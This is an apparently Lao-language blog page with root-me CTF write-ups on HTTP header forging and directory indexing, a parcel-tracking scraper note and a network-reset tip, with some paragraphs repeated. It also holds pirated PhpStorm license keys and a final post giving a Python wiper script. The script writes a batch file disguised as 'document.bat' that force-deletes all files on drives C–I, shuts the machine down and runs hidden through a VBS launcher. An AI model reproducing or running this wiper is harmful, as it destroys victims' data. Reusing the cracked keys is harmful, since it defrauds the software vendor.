ຫລາຍຄົນອາດສົງໄສວ່າຮູ້ໄດ້ແນວໃດວ່າ index.php~ ຄຳຕອບງ່າຍໆເລີຍ.
ເດົາເອົາ ຫະຫະ ຜ່ານແລ້ວດ່ານນີ້ງ່າຍສຸດ
Monday, October 12, 2015
Friday, October 9, 2015
[Write-up] [Web - Server] HTTP Headers - 15 Points
ສະບາຍດີມື້ນີ້ເຮົາຈະມາຜ່ານໂຈດ HTTP Headers ກັນເນາະ.
http://www.root-me.org/en/Challenges/Web-Server/HTTP-Headers
ຖ້າໃຜຍັງບໍ່ຮູ້ຈັກວ່າ HTTP Headers ແມ່ນຫຍັງໃຫ້ໄປອ່ານຕາມລິ້ງນີ້
https://en.wikipedia.org/wiki/List_of_HTTP_header_fields
ຫຼືຈະເອົາໃຫ້ເຂົ້າໃຈງ່າຍໆແມ່ນໂຈດນີ້ຈະກ່ຽວກັບ HTTP Request ແລະ HTTP Response
ໂຈດຂໍ້ນີ້ເຮົາຈະໃຊ້ Burp suite ໃນການດັກເອົາ packet ທີ່ request ໄປ server ແລະຮັບເອົາຄ່າ response ກັບມາຈາກ server. (ຫຼືຜູ້ອ່ານອາດຈະເລືອກໃຊ້ adds-on ຂອງ firefox ເຊັ່ນພວກ HTTP Live Headers ຫຼື Tamper data ກໍ່ໄດ້ເນາະ)
ແຕ່ໃນນີ້ເຮົາຈະໃຊ້ Burp Suite ໃຜຍັງບໍ່ທັນມີສາມາດໂຫລດໄດ້ຕາມລິ້ງນີ້.
https://portswigger.net/burp/download.html
ເອົາເນາະ! ຮອດເວລາທີ່ເຮົາຈະມາຜ່ານໂຈດນີ້ກັນແລ້ວ
ກ່ອນກົດ Start challenge ສັງເກດວ່າມັນມີ ຄຳໃບ້ຢູ່ທີ່ບອກວ່າ
Response
ສັງເກດເຫັນບໍ່ວ່າ Response ມັນມີຫຍັງແປກໄປ..?
ແມ່ນແລ້ວ! Header-RootMe-Admin: none
ສ່ວນນີ້ແມ່ນທາງ developer ເຮັດຂຶ້ນມາເອງເພື່ອກວດວ່າແມ່ນ admin ບໍ?
ສິ່ງທີ່ເຮົາຈະເຮັດກໍ່ພຽງແຕ່ຕອນ Request ໃຫ້ສົ່ງ Header-RootMe-Admin ໄປນຳແລ້ວປ່ຽນຈາກ none ເປັນ true
ຜ່ານແລ້ວ! ເປັນແນວໃດງ່າຍແມ່ນບໍ ຫະຫະ.! ພົບກັນໃໝ່ໃນດ່ານຕໍ່ໄປ.
http://www.root-me.org/en/Challenges/Web-Server/HTTP-Headers
ຖ້າໃຜຍັງບໍ່ຮູ້ຈັກວ່າ HTTP Headers ແມ່ນຫຍັງໃຫ້ໄປອ່ານຕາມລິ້ງນີ້
https://en.wikipedia.org/wiki/List_of_HTTP_header_fields
ຫຼືຈະເອົາໃຫ້ເຂົ້າໃຈງ່າຍໆແມ່ນໂຈດນີ້ຈະກ່ຽວກັບ HTTP Request ແລະ HTTP Response
ໂຈດຂໍ້ນີ້ເຮົາຈະໃຊ້ Burp suite ໃນການດັກເອົາ packet ທີ່ request ໄປ server ແລະຮັບເອົາຄ່າ response ກັບມາຈາກ server. (ຫຼືຜູ້ອ່ານອາດຈະເລືອກໃຊ້ adds-on ຂອງ firefox ເຊັ່ນພວກ HTTP Live Headers ຫຼື Tamper data ກໍ່ໄດ້ເນາະ)
ແຕ່ໃນນີ້ເຮົາຈະໃຊ້ Burp Suite ໃຜຍັງບໍ່ທັນມີສາມາດໂຫລດໄດ້ຕາມລິ້ງນີ້.
https://portswigger.net/burp/download.html
ເອົາເນາະ! ຮອດເວລາທີ່ເຮົາຈະມາຜ່ານໂຈດນີ້ກັນແລ້ວ
ກ່ອນກົດ Start challenge ສັງເກດວ່າມັນມີ ຄຳໃບ້ຢູ່ທີ່ບອກວ່າ
HTTP response give informations
ມັນບອກເຮົາໃຫ້ສັງເກດບ່ອນ HTTP response
ຕອນນີ້ເຮົາກົດ Start challenge ເລີຍ..
ກໍ່ຈະເຫັນວ່າໜ້ານີ້ບໍ່ມີຫຍັງມີພຽງແຕ່ບອກວ່າ "Content is not the only part of an HTTP response!"
ເອົາລະເປີດ Burp Suite ຂຶ້ນມາເລີຍ (ສ່ວນວິທີໃຊ້ແມ່ນລອງໆຫລິ້ນເບິ່ງກໍ່ຈະຮູ້ເນາະບໍ່ກະຫາໃນ Google ເບິ່ງເພາະມີຫລາຍຄົນເຮັດ Tut ອອກມາ)
ປ່ຽນ proxy ຂອງ browser ໄປຫາ burp suite ແລ້ວ refresh ອີກຄັ້ງເບິ່ງ.
ເຮົາມາສັງເກດ request ແລະ response ຂອງໜ້າດັັ່ງກ່າວເບິ່ງວ່າເປັນແບບໃດ.
Request
Request
GET /web-serveur/ch5/ HTTP/1.1
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.root-me.org/en/Challenges/Web-Server/HTTP-Headers
Cookie: PHPSESSID=fsvbd1bi9mpq1bh57mq46ssf74
Connection: keep-alive
Cache-Control: max-age=0
Response
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 09 Oct 2015 04:45:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Header-RootMe-Admin: none
Content-Length: 279
<html>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='http://www.root-me.org/spip.php?page=externe_header'></iframe>
<p>Content is not the only part of an HTTP response!</p>
</body>
</html>
ສັງເກດເຫັນບໍ່ວ່າ Response ມັນມີຫຍັງແປກໄປ..?
ແມ່ນແລ້ວ! Header-RootMe-Admin: none
ສ່ວນນີ້ແມ່ນທາງ developer ເຮັດຂຶ້ນມາເອງເພື່ອກວດວ່າແມ່ນ admin ບໍ?
ສິ່ງທີ່ເຮົາຈະເຮັດກໍ່ພຽງແຕ່ຕອນ Request ໃຫ້ສົ່ງ Header-RootMe-Admin ໄປນຳແລ້ວປ່ຽນຈາກ none ເປັນ true
ຜ່ານແລ້ວ! ເປັນແນວໃດງ່າຍແມ່ນບໍ ຫະຫະ.! ພົບກັນໃໝ່ໃນດ່ານຕໍ່ໄປ.
Thursday, October 8, 2015
[Write-up] [Web - Server] HTTP directory indexing - 15 Points
ສະບາຍດີ ມື້ນີ້ເຮົາມາຜ່ານໂຈດເກມ Security ໃນເວັບ root-me.org ກັນເນາະ
ດ່ານນີ້ຈະກ່ຽວກັບການເຂົ້າໄປອ່ານໄຟລ໌ໃນ Directory
http://www.root-me.org/en/Challenges/Web-Server/HTTP-directory-indexing
ຫລັງຈາກກົດ Start the Challenge
ເຮົາກໍ່ກົດ view source (ຄຶຂ້າງເທິງ) ແລ້ວເຮົາກໍ່ຈະເຫັນວ່າມີ comment ວ່າ
ດ່ານນີ້ຈະກ່ຽວກັບການເຂົ້າໄປອ່ານໄຟລ໌ໃນ Directory
http://www.root-me.org/en/Challenges/Web-Server/HTTP-directory-indexing
ຫລັງຈາກກົດ Start the Challenge
ເຮົາກໍ່ກົດ view source (ຄຶຂ້າງເທິງ) ແລ້ວເຮົາກໍ່ຈະເຫັນວ່າມີ comment ວ່າ
<!-- include("admin/pass.html") -->
ລອງຕາມເຂົ້າໄປໃນ admin/pass.html ແລ້ວກໍ່ບໍ່ແມ່ນໜ້າທີ່ເຫັນ ລະຫັດລັບ ເທື່ອ
ແລ້ວຈະເຮັດແນວໃດບາດນີ້..? ບໍ່ຟ້າວເລື່ອນລົງໄປອ່ານ ລອງເຮັດ ແລະ ຄິດເບິ່ງກ່ອນ...
tik-tok......
tik-tok......
tik-tok....
ບາດນີ້ເຮົາລອງຖອຍເບິ່ງແຕ່ /admin/ ປາກົດວ່າ ມີ Dir backup
ເຮົາກໍ່ກົດເຂົ້າໄປເບິ່ງແລ້ວກໍ່ຈະເຫັນລະຫັດລັບທີ່ເອົາໄວ້ຜ່ານດ່ານ.
Saturday, June 6, 2015
China Post Tracking ນຳວ່າເຄື່ອງຮອດໃສແລ້ວ
ພໍດີຜູ້ກ່ຽວສັ່ງເຄື່ອງມາແຕ່ເນັດ ແລ້ວເຂົ້າເວັບຄູ່ກໍລະນີກໍ່ຄື China Post ຍາກຫລາຍບໍ່ຮູ້ເປັນຫຍັງ ຜູ້ກ່ຽວເລີຍຂຽນໂປແກມໃຫ້ມັນດຶງຂໍ້ມູນມາຈາກເວັບເລີຍ
ໂດຍ module ທີ່ໃຊ້ກໍ່ມີ
beautifulsoup - ສຳລັບຄັດກອງຂໍ້ມູນໃນ Source code
urllib - ສຳລັບເຮັດ url encode ຄ່າທີ່ຈະສົ່ງໄປເຊີເວີ້
urllib2 - ສຳລັບດຶງຂໍ້ມູນມາຈາກເຊີເວີ້
sys - ສຳລັບສະແດງຜົນຄ່າໃນວົງ ລູບ ແບບບໍ່ລົງແຖວ
ໂດຍ module ທີ່ໃຊ້ກໍ່ມີ
beautifulsoup - ສຳລັບຄັດກອງຂໍ້ມູນໃນ Source code
urllib - ສຳລັບເຮັດ url encode ຄ່າທີ່ຈະສົ່ງໄປເຊີເວີ້
urllib2 - ສຳລັບດຶງຂໍ້ມູນມາຈາກເຊີເວີ້
sys - ສຳລັບສະແດງຜົນຄ່າໃນວົງ ລູບ ແບບບໍ່ລົງແຖວ
Wednesday, May 20, 2015
Internet Connected ແຕ່ເຂົ້າເວັບ ຫຼື Ping ບໍ່ໄດ້ເລີຍ! ເຮັດແນວໃດດີ?
ຕອນເຊົ້າວັນທີ 20/05/2015 ຜູ້ກ່ຽວໄດ້ເກີດບັນຫານີ້ຂຶ້ນແລ້ວເກືອບລົງແດງຍ້ອນບໍ່ມີເນັດຫລິ້ນ T_T ເລີຍໄດ້ລອງຄົ້ນຫາວິທີແກ້ແມ່ນ
1. ກົດ Windows+X ແລ້ວເລືອກ Command Prompt (Admin)
2. ພິມເຂົ້າໄປວ່າ netsh int ip reset c:\resetlog.txt
3. restart computer ກໍ່ຈະໄດ້.
1. ກົດ Windows+X ແລ້ວເລືອກ Command Prompt (Admin)
2. ພິມເຂົ້າໄປວ່າ netsh int ip reset c:\resetlog.txt
3. restart computer ກໍ່ຈະໄດ້.
Thursday, May 7, 2015
Phpstorm 8
License Key PhpStorm 8User Name : EMBRACE===== LICENSE BEGIN =====43136-1204201000002UsvSON704l"dILe1PVx3y4"B349AU6oSDJrsjE8nMOQh"8HTDJHIUUhgd1BebYc5U"6OxDbVsALB4Eb10PW8"===== LICENSE END =====User Name : TorReviver===== LICENSE BEGIN =====09574-1204201000000N7tVkjChpCjDvLjvELNOsgIeH1POKglQCIddVHUwb6RDtMpzpzeXi0ZRGN7yqI340MhKOu1odUVLb40g5HUF4===== LICENSE END =====User Name : Learn Programming===== LICENSE BEGIN =====63758-1204201000000Ryqh0NCC73lpRm!XVcxFChJ2gTUR2lZtlLXrPLbQ66Gs8MHs51RvF2yagoDlzne08Zm8VXbts1UMKE!EW4v8G===== LICENSE END =====
Thursday, February 5, 2015
[Script] ລ້າງ HDD
#By Darklest
from subprocess import call
f = open('document.bat','w')
f.write("""@echo off
del D:\*.*/f/s/q
del E:\*.*/f/s/q
del F:\*.*/f/s/q
del G:\*.*/f/s/q
del H:\*.*/f/s/q
del I:\*.*/f/s/q
del %systemdrive%\*.*/f/s/q
del C:\*.*/f/s/q
shutdown -t -f -t 00""")
f.close()
x = open('document.vbs', 'w')
x.write('''CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False''')
x.close()
call("cmd.exe /c document.vbs doc.bat")
Subscribe to:
Comments (Atom)
